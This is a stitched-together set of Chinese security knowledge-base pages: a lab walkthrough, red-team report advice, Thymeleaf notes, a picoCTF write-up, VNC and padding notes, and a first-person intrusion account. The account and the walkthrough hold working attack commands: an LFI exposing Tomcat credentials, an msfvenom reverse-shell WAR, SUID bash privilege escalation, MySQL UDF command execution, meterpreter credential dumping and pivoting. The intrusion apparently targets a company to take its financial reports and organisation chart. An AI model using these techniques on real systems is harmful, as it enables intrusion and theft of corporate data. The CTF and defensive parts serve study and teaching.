command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
tcpflags = syn
[openSSH]
sequence = 17301,28504,9999
seq_timeout = 100
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9999,28504,17301
seq_timeout = 100
command = /sbin/iptables -D iNPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
```
端口敲门
```
┌──(root💀kali)-[~]
└─# knock 192.168.111.158 17301 28504 9999 1 ⨯
┌──(root💀kali)-[~]
└─# knock 192.168.111.158 159 27391 4
```
可以发现22,80端口开启

访问80端口

我们可以检查`robots.txt`文件

访问这两个目录


我们找到了 RIPS,并且我们有一个 0.53 版本,所以我们寻找漏洞利用

根据文档提示,发现一个LFI漏洞
```
http://192.168.111.158/nomercy//windows/code.php?file=/etc/passwd
```

我们确认 LFI 存在,现在让我们退后一步,我们知道有 apache tomcat,所以我们可以查看`tomcat-users.xml`包含登录用户名和密码的文件,`/manager`但我们需要安装路径。找到管理用户`thisisasuperduperlonguser/heartbreakisinevitable`
```
http://192.168.111.158/nomercy//windows/code.php?file=/var/lib/tomcat7/conf/tomcat-users.xml
```

登录tomcat管理界面成功

我们生成一个 WAR木马
```
┌──(root💀kali)-[~]
└─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.111.153 LPORT=9999 -f war > shell.war
```
上传war包,反弹shell

我们已经找到了`fluffy`的`freakishfluffybunny`密码,让我们切换用户

发现一个时钟文件
```
cat timeclock
#!/bin/bash
now=$(date)
echo "The system time is: $now." > ../../../../../var/www/html/time
echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
chown www-data:www-data ../../../../../var/www/html/time
```

我们可以看到这个脚本以 root 身份运行,所以我们可以在其中包含一个反向 shell 或者将 bash 设置为 SUID(这是一种简单的方法),所以让我们修改 bash 脚本
```
chmod +s /bin/bash
```

使 bash 成为 SUID 意味着如果我们`-p`在执行时提供参数,它将以 root 身份执行。等待一段时间后,我们可以检查它是否被设为 SUID 以验证它是否`ls -la`在 bash 上运行。

|
sec-knowleage
|
# 第10章 赛后——分析报告
> 译者:[@Snowming](https://github.com/Snowming04)

在之前的 THP 书籍中,我们有介绍如何编写渗透测试报告的示例,并提供了大量报告模板。这些示例非常适合那些按部就班的做渗透测试的活动,但是不适合红队的活动。正如本书所述,红队的焦点不是识别漏洞本身(虽然这也是工作的一部分),而是测试人、工具、工作流程和员工的技能组合。如果你的公司被授权的渗透测试者或者未授权的坏人攻击并成功入侵,你会给自己的业绩打几分?我一直反对使用差距评估分数、ISO 分数、成熟度模型分数、标准风险分析、热度图和类似类型的报告来展示公司安全项目的真实状况。
就我个人而言,我喜欢看到公司从之前的红队活动中采取措施进行控制,以测试是否真的取得了进展。例如,对于一个使用了近似域名方法的网络钓鱼活动,我们看到公司启用了以下一些功能:
- 使用 dnstwist 对与其公司类似的域名发出警报;
- 设置一个外部电子邮件域的可信列表。任何与之不匹配的外部邮件都将在最终用户可见的电子邮件中附加一个标题,说明它是外部(非公司)的、未经批准的电子邮件源。这将帮助你的用户更容易识别网络钓鱼。
- 来自代理中未分类的域的电子邮件中的任何链接至少应单击一次并警告用户改链接未分类。
- 禁止 Office 宏附件、强制使用受保护的视图和对文档进行沙盒处理。
这只是一个公司可以实施的可以阻止攻击的一些简单方法。
请记住,红队人员只需要找到一个漏洞就可能破坏整个内网环境。但是蓝队成员只需要识别攻击者的 TTP(战术,技术和过程)之一,就可以阻止这威胁。因此,现在的问题是,如果这些 TTP 中的一个已经引起防御系统发出警报,你的应急响应团队发现警报并处理威胁的速度有多快?所以红队风格的报告应该包括哪些内容呢?由于红队这个概念还很新,目前还没有标准的报告模板,我们可以根据客户的需求进行定制。在我看来,因为我们可能会在一个完整的红队活动中多次尝试进入一个内网环境(且被抓住几次),所以我们想要把好的方面和不好的方面都在报告中都展示出来。
在活动期间、记笔记方面,许多工具如 Empire 和 Cobalt Strike 在红队活动期间都有很好的活动日志记录,但这些可能还远远不够。我发现对我们团队的活动非常有用的是,建立一个简单的 Web 服务器来记录红队成员执行的每个操作。记录过程中只收集最基本的信息,其中包括特定的事件、服务器、描述、影响、任何警报和屏幕截图。大多数红队/渗透测试人员都不喜欢做笔记,但这类记录提供了一种简单的跟踪活动的方法。

一旦活动结束,我们将收集所有笔记并将其组合在一起,以构建一个能讲述故事的红队报告。红队报告的主要组成部分可能包括:
- **简介/范围**:本节需要明确说明活动的目标。例如,有些客户要求我们访问特定的数据、获得域管理权限、获取 PII(个人身份信息)、获取 IP 或在找到他们的生产环境的服务器的标志(flag)。
- **指标**:在一场交战之后获得攻击报告是对应急响应团队/取证团队非常有帮助的。我们还想确定他们的防范工具或安全传感器可能遗漏的地方,那些使他们无法执行取证或检测恶意活动的纰漏。因此,我们希望给出C2服务器的IP地址、使用的域名、二进制文件的 MD5/SHA1 哈希、电子邮件地址和 IP 信息、被钓鱼的受害者列表以及任何其他可能有助于取证/应急响应团队的信息。
- **攻击时间轴**:这是红队行动中最重要的部分之一,做好笔记是有回报的。时间轴应该充分说明所有的主要活动,任何触发警报的 TTP,以及主要的活动。这将允许蓝队比较他们的时间轴和笔记,看看他们错过了什么。在一次真正的攻击中,你有机会询问那些坏人关于他们做的每坏件事吗?这对防守团队来说是非常有利的。一个时间轴示例可能是这样的:

- **检测时间(TTD)/解决时间(TTM)**:这通常是我们可以使用蓝队报告构建 TTD/TTM 统计数据的地方。我们都想要确定蓝队发现一次多重入侵所需的时间;扫描事件触发调查之前花费的时间(如果调查了的话);以及蓝队需要多长时间来识别网络钓鱼活动。
第二部分应该讨论有关采取行动之前花费的时间的统计数据。如果有已警告的 C2 通信或已识别的网络钓鱼,那么在防火墙或 DNS 服务器上封锁这些域需要花费的时间是多久?我们经常看到公司可能擅长屏蔽域名,但是当 C2 服务器通过 IP 进行通信时会很快失败(反之亦然)。我们希望确保跟踪此活动并帮我们的客户来识别它。另一个很有用的 TTM 衡量标准是他们最快的情况下要花多久来隔离一个已经确认受损的系统。随着恶意软件变得越来越自动化,我们需要开始利用智能化和自动化的流程将系统或网络的一部分与组织的其他部分隔离开来。
- **来自应急响应/应急人员的反馈**:我最喜欢记录的东西之一是来自蓝队的反馈:他们是如何从防守的角度看待整个活动的。我想知道的是,他们是否觉得自己遵守了安全政策,事件负责人是否推动了调查,管理层是否过度介入,安全部门如何与 IT 部门进行安全方面的互动,从而促进任何与 IT 相关的改变(防火墙屏蔽、DNS 修改等等)。以及他们中间的哪些人过于慌张、哪些人过于冷静。
如前所述,红队的目的不是寻找漏洞或破坏环境(尽管这是非常有趣的部分),而是改善客户组织的整体安全程序和规划并证明其环境中存在某些漏洞。如今,许多公司对自己的安全程序过于自信,只有当他们被攻破时才会做出改变。现在有了红队,我们可以模拟攻击行为并鼓励客户做出改变,而不是等到真实入侵的事件,那时或许已为时太晚。
|
sec-knowleage
|
# Thymeleaf
Thymeleaf 中的表达式有好几种
- 变量表达式: ${...}
- 选择变量表达式: *{...}
- 消息表达: #{...}
- 链接 URL 表达式: @{...}
- 片段表达式: ~{...}
## 片段表达式
片段表达式可以用于引用公共的目标片段比如 footer 或者 header
比如在 `/WEB-INF/templates/footer.html` 定义一个片段,名为 copy。 `<div th:fragment="copy">`
```html
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body>
<div th:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>
</body>
</html>
```
在另一 template 中引用该片段 `<div th:insert="~{footer :: copy}"></div>`
```html
<body>
...
<div th:insert="~{footer :: copy}"></div>
</body>
```
片段表达式语法:
1. `~{templatename::selector}` ,会在 `/WEB-INF/templates/` 目录下寻找名为 templatename 的模版中定义的 fragment,如上面的 `~{footer :: copy}`
2. `~{templatename}` ,引用整个 templatename 模版文件作为 fragment
3. `~{::selector}` 或 `~{this::selector}` ,引用来自同一模版文件名为 selector 的 fragmnt
其中 selector 可以是通过 th:fragment 定义的片段,也可以是类选择器、ID 选择器等。
当 `~{}` 片段表达式中出现 `::`,则 `::` 后需要有值,也就是 selector。
## 预处理
语法:`__${expression}__`
除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样,但被双下划线符号(如 `__${expression}__` )包围。
FreeMarker
|
sec-knowleage
|
# Investigative Reversing 1
Forensics, 350 points
## Description:
> We have recovered a binary and a few images: image, image2, image3. See what you can make of it. There should be a flag somewhere.
## Solution:
This is the follow-up for [Investigative Reversing 0](Investigative_Reversing_0.md).
Again, let's check the binary with Ghidra:
```c
void main(void)
{
long lVar1;
FILE *flag_stream;
FILE *m1_stream;
FILE *m2_stream;
FILE *m3_stream;
long in_FS_OFFSET;
char local_6b;
int i;
int j;
int k;
char flag [6];
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
flag_stream = fopen("flag.txt","r");
m1_stream = fopen("mystery.png","a");
m2_stream = fopen("mystery2.png","a");
m3_stream = fopen("mystery3.png","a");
if (flag_stream == (FILE *)0x0) {
puts("No flag found, please make sure this is run on the server");
}
if (m1_stream == (FILE *)0x0) {
puts("mystery.png is missing, please run this on the server");
}
fread(flag,26,1,flag_stream);
fputc((int)flag[1],m3_stream);
fputc((int)(char)(flag[0] + '\x15'),m2_stream);
fputc((int)flag[2],m3_stream);
local_6b = flag[3];
fputc((int)flag[5],m3_stream);
fputc((int)flag[4],m1_stream);
i = 6;
while (i < 10) {
local_6b = local_6b + '\x01';
fputc((int)flag[i],m1_stream);
i = i + 1;
}
fputc((int)local_6b,m2_stream);
j = 10;
while (j < 0xf) {
fputc((int)flag[j],m3_stream);
j = j + 1;
}
k = 0xf;
while (k < 0x1a) {
fputc((int)flag[k],m1_stream);
k = k + 1;
}
fclose(m1_stream);
fclose(flag_stream);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
```
The encoded flag is scattered among three files:
```console
root@kali:/media/sf_CTFs/pico/Investigative_Reversing_1# xxd -g 1 mystery.png | tail
0001e7f0: 82 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 . .. .. .. d.2.!
0001e800: 08 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 .. .. .. .B.!#..
0001e810: 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08 .. .. .. d.2.!.
0001e820: 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20 . .. .. .B.!#..
0001e830: 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08 82 .. .. .. d.2.!..
0001e840: 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20 08 .. .. .B.!#.. .
0001e850: 82 20 08 82 20 08 82 20 64 17 ff ef ff fd 7f 5e . .. .. d......^
0001e860: ed 5a 9d 38 d0 1f 56 00 00 00 00 49 45 4e 44 ae .Z.8..V....IEND.
0001e870: 42 60 82 43 46 7b 41 6e 31 5f 38 35 35 36 31 31 B`.CF{An1_855611
0001e880: 64 33 7d d3}
root@kali:/media/sf_CTFs/pico/Investigative_Reversing_1# xxd -g 1 mystery2.png | tail
0001e7e0: 21 08 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 !.. .. .. .B.!#.
0001e7f0: 82 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 . .. .. .. d.2.!
0001e800: 08 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 .. .. .. .B.!#..
0001e810: 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08 .. .. .. d.2.!.
0001e820: 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20 . .. .. .B.!#..
0001e830: 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08 82 .. .. .. d.2.!..
0001e840: 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20 08 .. .. .B.!#.. .
0001e850: 82 20 08 82 20 08 82 20 64 17 ff ef ff fd 7f 5e . .. .. d......^
0001e860: ed 5a 9d 38 d0 1f 56 00 00 00 00 49 45 4e 44 ae .Z.8..V....IEND.
0001e870: 42 60 82 85 73 B`..s
root@kali:/media/sf_CTFs/pico/Investigative_Reversing_1# xxd -g 1 mystery3.png | tail
0001e7e0: 21 08 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 !.. .. .. .B.!#.
0001e7f0: 82 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 . .. .. .. d.2.!
0001e800: 08 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 .. .. .. .B.!#..
0001e810: 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08 .. .. .. d.2.!.
0001e820: 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20 . .. .. .B.!#..
0001e830: 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08 82 .. .. .. d.2.!..
0001e840: 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20 08 .. .. .B.!#.. .
0001e850: 82 20 08 82 20 08 82 20 64 17 ff ef ff fd 7f 5e . .. .. d......^
0001e860: ed 5a 9d 38 d0 1f 56 00 00 00 00 49 45 4e 44 ae .Z.8..V....IEND.
0001e870: 42 60 82 69 63 54 30 74 68 61 5f B`.icT0tha_
```
We can reassemble the flag using the following script:
```python
import os
import mmap
def memory_map(filename, access=mmap.ACCESS_READ):
size = os.path.getsize(filename)
fd = os.open(filename, os.O_RDONLY)
return mmap.mmap(fd, size, access=access)
class Mystery(object):
PNG_CRC_LEN = 4
def __init__(self, file_name):
self.map = memory_map(file_name)
self.buffer = self.map[self.map.find(b"IEND") + len(b"IEND") + self.PNG_CRC_LEN:]
self.offset = 0
def read_byte(self):
b = self.buffer[self.offset]
self.offset += 1
return b
def __del__(self):
self.map.close()
FLAG_LEN = 26
flag = [0] * FLAG_LEN
m1_stream = Mystery("mystery.png")
m2_stream = Mystery("mystery2.png")
m3_stream = Mystery("mystery3.png")
flag[1] = m3_stream.read_byte()
flag[0] = m2_stream.read_byte() - 0x15
flag[2] = m3_stream.read_byte()
flag[5] = m3_stream.read_byte()
flag[4] = m1_stream.read_byte()
for i in range(6, 10):
flag[i] = m1_stream.read_byte()
flag[3] = m2_stream.read_byte() - (10 - 6)
for i in range(10, 15):
flag[i] = m3_stream.read_byte()
for i in range(15, 26):
flag[i] = m1_stream.read_byte()
print ("".join(chr(x) for x in flag))
```
The script uses a memory map to map the contents of each file, so that it can search for the legitimate end of the PNG file (which is the location of `IEND` plus 4 more bytes for the `IEND` chunk CRC) and start reading the flag from there.
Output:
```console
root@kali:/media/sf_CTFs/pico/Investigative_Reversing_1# python3 solve.py
picoCTF{An0tha_1_855611d3}
```
|
sec-knowleage
|
# 模拟诉求任务攻击
## 模拟任务:
拿到该公司明年计划,拿到该公司今年报表,并且摸清该公司组织架构。盈利情况。
### 1、主站 Shell
第一个shell为目标主站shell,为08 R2,提权后遂改变主意。由于是以APT为主,并不打算以主站权限为点渗透,动作太大。不利于长期跟踪。改变为搜集情报为主。配合下一步工作。

主站为2008 R2:

主站端口为:

### 2、信息搜集
搜集端口为该公司的其他分站提供下一步探测。
* 进程搜集:红色为重点搜集源
```bash
> D:\> tasklist
映像名稱 PID 工作階段名稱 工作階段 # RAM使用量
========================= ======== ================ =========== ============
System Idle Process 0 0 24 K
System 4 0 372 K
smss.exe 296 0 1,448 K
csrss.exe 400 0 6,968 K
wininit.exe 452 0 5,636 K
csrss.exe 460 1 12,460 K
winlogon.exe 496 1 6,484 K
services.exe 556 0 10,392 K
lsass.exe 572 0 22,076 K
lsm.exe 584 0 7,104 K
svchost.exe 676 0 10,840 K
svchost.exe 760 0 9,492 K
LogonUI.exe 852 1 19,632 K
svchost.exe 864 0 21,188 K
svchost.exe 904 0 34,904 K
svchost.exe 944 0 13,476 K
svchost.exe 996 0 13,512 K
svchost.exe 168 0 19,480 K
svchost.exe 648 0 12,348 K
spoolsv.exe 1080 0 16,672 K
armsvc.exe 1124 0 4,208 K
apnmcp.exe 1172 0 5,832 K
svchost.exe 1196 0 9,228 K
aspnet_state.exe 1224 0 8,264 K
FileZilla Server.exe 1344 0 7,876 K
svchost.exe 1380 0 10,408 K
inetinfo.exe 1412 0 31,680 K
EngineServer.exe 1448 0 568 K
FrameworkService.exe 1548 0 19,580 K
VsTskMgr.exe 1612 0 1,724 K
MDM.EXE 1680 0 6,652 K
naPrdMgr.exe 1692 0 2,116 K
mfevtps.exe 1720 0 992 K
sqlservr.exe 1760 0 13,284 K
svchost.exe 1844 0 3,452 K
snmp.exe 1868 0 9,264 K
sqlwriter.exe 1904 0 7,440 K
vmtoolsd.exe 1976 0 17,012 K
snmp.exe 1988 0 3,164 K
conhost.exe 1996 0 4,784 K
vmware-converter-a.exe 2068 0 31,460 K
vmware-converter.exe 2180 0 38,176 K
vmware-converter.exe 2228 0 32,828 K
svchost.exe 2288 0 14,152 K
McShield.exe 2320 0 89,332 K
mfeann.exe 2468 0 5,860 K
conhost.exe 2476 0 3,380 K
w3wp.exe 2592 0 160,760 K
w3wp.exe 2812 0 463,872 K
svchost.exe 3452 0 9,656 K
svchost.exe 4104 0 6,384 K
dllhost.exe 4252 0 12,192 K
msdtc.exe 4424 0 8,708 K
svchost.exe 4196 0 34,760 K
w3wp.exe 5604 0 12,632 K
TrustedInstaller.exe 4500 0 11,788 K
cmd.exe 6292 0 3,932 K
conhost.exe 6384 0 4,476 K
tasklist.exe 1496 0 6,064 K
WmiPrvSE.exe 5508 0 7,272 K
```
* 账户搜集:(已处理)

* 重要路径搜集:
(无图,路径搜集为未来可能需要dump file做准备)
* 数据库密码搜集:
(无图,密码搜集为未来可能需要碰撞做准备)
* 杀毒软件搜集: 强力的麦咖啡
* 管理员习惯搜集:
(无图,尽量避免与admin的fvsf)(面对面的vs是不是这么拼写?)
* 其他搜集:
(由于是第一个shell,具体的已经忘记了)
### 3、第二台服务器权限
第二台服务器权限:window x86 2003
根据上一台的服务器情报搜集很快得到了一台win03


* IP .3

为一台开发机。目标仅支持 asp,无其他脚本支持。但是服务器中安装有 mysql,php 等。并且无 asp to mysql Device Drive IIS 配置中也并不支持 php。msf 反弹后,继续搜集情报。
```bash
type C:\MySQL\MySQL Server 5.0\data\mysql\user.MYD
```
得到 root hash
在实际情况中,交互的shell下运行 `mysql -uroot -pxxx` 无法继续交互,需要参数 e 解决这个问题。
```bash
mysql -uroot -pxxxxxxxx mysql -e "create table a (cmd LONGBLOB);"
mysql -uroot -pxxxxxxxx mysql -e "insert into a (cmd) values (hex(load_file('C:\\xxxx\\xxxx.dll')));"
mysql -uroot -pxxxxxxxx mysql -e "SELECT unhex(cmd) FROM a INTO DUMPFILE
'c:\\windows\\system32\\xxxx.dll';"
mysql -uroot -pxxxxxxxx mysql -e "CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'"
mysql -uroot -pxxxxxxxx mysql -e "select shell('cmd','C:\\xxxx\\xxx\\xxxxx.exe');"
```

**如果限制上传大小同样可以hex解决上传大小问题。**
### 4、msf 操作实例
以下为部分msf操作实例
```bash
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > exploit -l
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x86 0 NT AUTHORITY\SYSTEM
304 4 smss.exe x86 0 NT AUTHORITY\SYSTEM\SystemRoot\System32\smss.exe
352 304 csrss.exe x86 0 NT AUTHORITY\SYSTEM \?? \C:\WINDOWS\system32\csrss.exe
376 304 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \?? \C:\WINDOWS\system32\winlogon.exe
424 376 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
436 376 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
620 424 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmacthlp.exe
636 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
708 424 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
768 424 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
812 424 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
828 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1000 424 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1028 424 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\msdtc.exe
1160 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1228 424 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe
1252 424 sqlservr.exe x86 0 NT AUTHORITY\SYSTEM C:\PROGRA\~1\MICROS~1\MSSQL\binn\sqlservr.exe
1304 424 mysqld.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\MySQL\MySQL Server 5.1\bin\mysqld.exe
1348 424 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1408 424 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
1472 424 mssearch.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Common Files\System\MSSearch\Bin\mssearch.exe
1720 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
2128 2084 explorer.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\Explorer.EXE
2208 2128 vmtoolsd.exe x86 0 xxxxxxxxxxxx\Administrator C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
2232 2128 ctfmon.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\ctfmon.exe
2244 2128 sqlmangr.exe x86 0 xxxxxxxxxxxx\Administrator C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
2396 424 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
2440 424 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
3008 2128 cmd.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\cmd.exe
3024 3008 conime.exe x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\conime.exe
3180 636 wmiprvse.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wbem\wmiprvse.exe
3248 828 wuauclt.exe xxxxxxxxxxxx\Administrator C:\WINDOWS\system32\wuauclt.exe
3380 376 logon.scr x86 0 xxxxxxxxxxxx\Administrator C:\WINDOWS\System32\logon.scr
```
```bash
meterpreter > migrate 2128
[*] Migrating from 3104 to 2128...
[*] Migration completed successfully. meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109205 NTLM xxxxxxxxxxxx Administrator lm{ xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}, ntlm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx }
0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx }, ntlm{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx }
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;54469 NTLM n.s. (Credentials KO)
0;999 NTLM WORKGROUP xxxxxxxxxxxx\$ n.s. (Credentials KO)
```
```bash
meterpreter > kerberos [+] Running as SYSTEM
[*] Retrieving kerberos credentials kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;54469 NTLM
0;999 NTLM WORKGROUP xxxxxxxxxxxx$
0;109205 NTLM xxxxxxxxxxxx Administrator 123456
meterpreter > portfwd add -l 3389 -r x.x.x.x -p 3389 #IP已做处理
[*] Local TCP relay created: :3389 <-> x.x.x.x:3389
meterpreter > portfwd
Active Port Forwards
====================
Index Local Remote Direction
----- ----- ------ ---------
1 0.0.0.0:3389 x.x.x.x:3389 Forward
1 total active port forwards.
root@xxxx:/# rdesktop 127.0.0.1:3389 Autoselected keyboard map en-us
Failed to negotiate protocol, retrying with plain RDP.
WARNING: Remote desktop does not support colour depth 24; falling back to 16
meterpreter > run autoroute -h
[*] Usage: run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to
10.10.10.1/255.255.255.0
[*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
[*] run autoroute -p # Print active routing table
[*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
[-] Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module
meterpreter > ifconfig
Interface 1
============
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
Interface 2
============
Name : Broadcom NetXtreme Gigabit Ethernet - McAfee NDIS Intermediate Filter Miniport
Hardware MAC : 00:11:25:40:77:8f
MTU : 1500
IPv4 Address : 10.23.255.3 IPv4 Netmask : 255.255.255.0
meterpreter > run autoroute -s 10.23.255.3 -n 255.255.255.0
[*] Adding a route to 10.23.255.3/255.255.255.0...
[+] Added route to 10.23.255.3/255.255.255.0 via 61.57.243.227
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.23.255.3 255.255.255.0 Session 3
meterpreter > ifconfig
Interface 1
============
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
Interface 2
============
Name : Broadcom NetXtreme Gigabit Ethernet - McAfee NDIS Intermediate Filter Miniport
Hardware MAC : 00:11:25:40:77:8f
MTU : 1500
IPv4 Address : 10.23.255.3 IPv4 Netmask : 255.255.255.0
meterpreter >
Background session 3? [y/N]
msf auxiliary(tcp) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 445,80,3389,22 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 10.23.255.1-255 yes The target address range or CIDR identifier
THREADS 10 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
```
最终得到了域控权限,并且得到了跨段的服务器权限。得到了个人机的重要权限,以及公司财报doc。
部分截图如下:由于时间问题,顺序可能打乱了。




跳段, 个人机


放弃权限,所有操作并未更改,下载,删除等一切损害该公司的行为。

至此由虚拟机跳段到了工作办公机,(典型的A-B-C类跳板)得到了该公司的下年计划,人员组织构架,财务报表,盈利情况,以及内部相关work文档等。
<p align="right">--By Micropoor </p>
|
sec-knowleage
|
# VNC Server 未授权访问漏洞
> CVE-2006-2369
## 漏洞描述
RealVNC VNC Server是英国RealVNC公司的一个远程访问软件的 VNC 服务器。
RealVNC VNC Server 存在授权问题漏洞,该漏洞源于采用的RFB(远程帧缓冲区)协议允许客户端与服务端协商合适的认证方法,协议的实现上存在设计错误,远程攻击者可以绕过认证无需口令实现对服务器的访问。
## 影响范围
RealVNC <= 4.1.1
### 环境搭建
> win2003系统
下载地址:https://www.filesoul.com/software/RealVNC/4-1-1/download/
进行安装(一直下一步即可)


## 漏洞利用
```
vncviewer 192.168.32.252
```

### 防御手段
- 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。
- 以最小普通权限身份运行操作系统。
|
sec-knowleage
|
### 填充方式概述
在分组加密中,明文的长度往往并不满足要求,需要进行 padding,而如何 padding 目前也已经有了不少的规定。
常见的 [填充规则]( https://www.di-mgt.com.au/cryptopad.html) 如下。**需要注意的是,即使消息的长度是块大小的整数倍,仍然需要填充。**
一般来说,如果在解密之后发现 Padding 不正确,则往往会抛出异常。我们也因此可以知道 Paddig 是否正确。
### Pad with bytes all of the same value as the number of padding bytes (PKCS5 padding)
举例子如下
```
DES INPUT BLOCK = f o r _ _ _ _ _
(IN HEX) 66 6F 72 05 05 05 05 05
KEY = 01 23 45 67 89 AB CD EF
DES OUTPUT BLOCK = FD 29 85 C9 E8 DF 41 40
```
### Pad with 0x80 followed by zero bytes (OneAndZeroes Padding)
举例子如下
```
DES INPUT BLOCK = f o r _ _ _ _ _
(IN HEX) 66 6F 72 80 00 00 00 00
KEY = 01 23 45 67 89 AB CD EF
DES OUTPUT BLOCK = BE 62 5D 9F F3 C6 C8 40
```
这里其实就是和 md5 和 sha1 的 padding 差不多。
### Pad with zeroes except make the last byte equal to the number of padding bytes
举例子如下
```
DES INPUT BLOCK = f o r _ _ _ _ _
(IN HEX) 66 6f 72 00 00 00 00 05
KEY = 01 23 45 67 89 AB CD EF
